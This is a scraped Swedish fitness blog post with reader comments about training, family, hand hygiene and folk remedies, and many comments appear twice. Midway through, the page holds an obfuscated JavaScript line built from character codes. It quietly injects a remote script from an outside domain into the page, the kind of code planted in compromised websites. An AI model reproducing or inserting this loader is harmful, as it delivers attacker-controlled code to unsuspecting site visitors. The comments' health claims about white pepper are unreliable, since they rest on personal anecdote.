God morgon! Hoppas du sovit gott…. Min första PT kund ställde in pga av sjukdom. Då finns det inga ursäkter för mig själv att inte träna 😉
Så jag hoppade i mina privata träningskläder och körde 30min cardio och ben/rumpa efter! GRYMT bra start på dagen! Plus mys och gos med Lilleman imorse 🙂 Jag mår sååååå mycket bättre av att ha honom hemma! Hela jag känner mig komplett!
Just nu är det förkylnings och magsjuka tider. Jag preppar med handsprit, ingefära och vitpepparkorn. Precis som alla andra så varken vill jag, kan jag eller hinner jag bli sjuk 🙁
Själv så tvättar jag bara händerna jättenoga och strider vidare för min personliga assistans.
Tanken på sjukdomar utan hjälp i hemmet ger mig kvävningskänslor ?
Själv så tvättar jag bara händerna jättenoga och strider vidare för min personliga assistans.
Tanken på sjukdomar utan hjälp i hemmet ger mig kvävningskänslor 😔
Här är det medveten vila. Har börjat försåt att vila och medveten vila är olika saker för mig. Skriver om det på min blogg idag. Medveten vila gör att jag återhämtar mig. Blir nyfiken på hur du vilar och återhämtar dig? Kram
Här är det medveten vila. Har börjat försåt att vila och medveten vila är olika saker för mig. Skriver om det på min blogg idag. Medveten vila gör att jag återhämtar mig. Blir nyfiken på hur du vilar och återhämtar dig? Kram
Vad skönt att hinna träna ”på jobbet”:-) Jag blir så peppad av dig så jag måste berätta att från att ha hemska övergångsbesvär i början av hösten och nu har jag en tid tränat regelbundet (spinning och pump) så är dom helt borta!!! Jag vet att dom kan komma tillbaka men just nu är jag så taggad att gå och träna för jag mår så bra. STOR KRAM
Vad skönt att hinna träna ”på jobbet”:-) Jag blir så peppad av dig så jag måste berätta att från att ha hemska övergångsbesvär i början av hösten och nu har jag en tid tränat regelbundet (spinning och pump) så är dom helt borta!!! Jag vet att dom kan komma tillbaka men just nu är jag så taggad att gå och träna för jag mår så bra. STOR KRAM
Vad har hänt med ditt Instagramkonto? Det är inte offentligt längre, verkar det som. Har skickat en följ-förfrågan till dig. Tycker om den inspiration du sprider. Kram
Vad har hänt med ditt Instagramkonto? Det är inte offentligt längre, verkar det som. Har skickat en följ-förfrågan till dig. Tycker om den inspiration du sprider. Kram
My Martens , Ako Rahim. Adviral Media.
d
Ako, Renata, My
var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/
Det märks verkligen hur lycklig du blir när lilleman kommer hem ! Jag tror att Sture också blir glad.
Hela familjen bli lyckliga ❤️
Hej My!
Så Snygga träningskläder var har du köpt dom?
Vilken är din favorit affär med träningskläder?
Tack för en bra blogg !
?Tina
Det märks verkligen hur lycklig du blir när lilleman kommer hem ! Jag tror att Sture också blir glad.
Hela familjen bli lyckliga ❤️
Vitpepparkorn är den största bluffen, det enda de kan göra är att skada magslemhinnan om man har en känslig mage, ingefära däremot är alltid nyttigt
Hej My!
Så Snygga träningskläder var har du köpt dom?
Vilken är din favorit affär med träningskläder?
Tack för en bra blogg !
😊Tina
Själv så tvättar jag bara händerna jättenoga och strider vidare för min personliga assistans.
Tanken på sjukdomar utan hjälp i hemmet ger mig kvävningskänslor ?
Vitpepparkorn är den största bluffen, det enda de kan göra är att skada magslemhinnan om man har en känslig mage, ingefära däremot är alltid nyttigt
Hej My! Mot vinterkräksjuka (calici) hjälper inte handsprit, utan tvål och vatten! Handsprit är dock bra mot mycket annat! Kram från en undersköterska
handsprit är kanon hjälper mot svamp men svider som eld men hjälper
Själv så tvättar jag bara händerna jättenoga och strider vidare för min personliga assistans.
Tanken på sjukdomar utan hjälp i hemmet ger mig kvävningskänslor 😔
Här är det medveten vila. Har börjat försåt att vila och medveten vila är olika saker för mig. Skriver om det på min blogg idag. Medveten vila gör att jag återhämtar mig. Blir nyfiken på hur du vilar och återhämtar dig? Kram
Hej My! Mot vinterkräksjuka (calici) hjälper inte handsprit, utan tvål och vatten! Handsprit är dock bra mot mycket annat! Kram från en undersköterska
handsprit är kanon hjälper mot svamp men svider som eld men hjälper
Jag tror benhårt på vitpeppar ! Funkar varje gång??har kronisk magkatarr och känner ingen skillnad så så stor skada gör de nog inte?
Här är det medveten vila. Har börjat försåt att vila och medveten vila är olika saker för mig. Skriver om det på min blogg idag. Medveten vila gör att jag återhämtar mig. Blir nyfiken på hur du vilar och återhämtar dig? Kram
Jag tror benhårt på vitpeppar ! Funkar varje gång😊👍har kronisk magkatarr och känner ingen skillnad så så stor skada gör de nog inte😉
Vad skönt att hinna träna ”på jobbet”:-) Jag blir så peppad av dig så jag måste berätta att från att ha hemska övergångsbesvär i början av hösten och nu har jag en tid tränat regelbundet (spinning och pump) så är dom helt borta!!! Jag vet att dom kan komma tillbaka men just nu är jag så taggad att gå och träna för jag mår så bra. STOR KRAM
Vad skönt att hinna träna ”på jobbet”:-) Jag blir så peppad av dig så jag måste berätta att från att ha hemska övergångsbesvär i början av hösten och nu har jag en tid tränat regelbundet (spinning och pump) så är dom helt borta!!! Jag vet att dom kan komma tillbaka men just nu är jag så taggad att gå och träna för jag mår så bra. STOR KRAM
Vad har hänt med ditt Instagramkonto? Det är inte offentligt längre, verkar det som. Har skickat en följ-förfrågan till dig. Tycker om den inspiration du sprider. Kram
Då är jag med. Sorgligt, dock.
Ha en mysig vecka nu med din fina pojke. Kram
Vad har hänt med ditt Instagramkonto? Det är inte offentligt längre, verkar det som. Har skickat en följ-förfrågan till dig. Tycker om den inspiration du sprider. Kram
Då är jag med. Sorgligt, dock.
Ha en mysig vecka nu med din fina pojke. Kram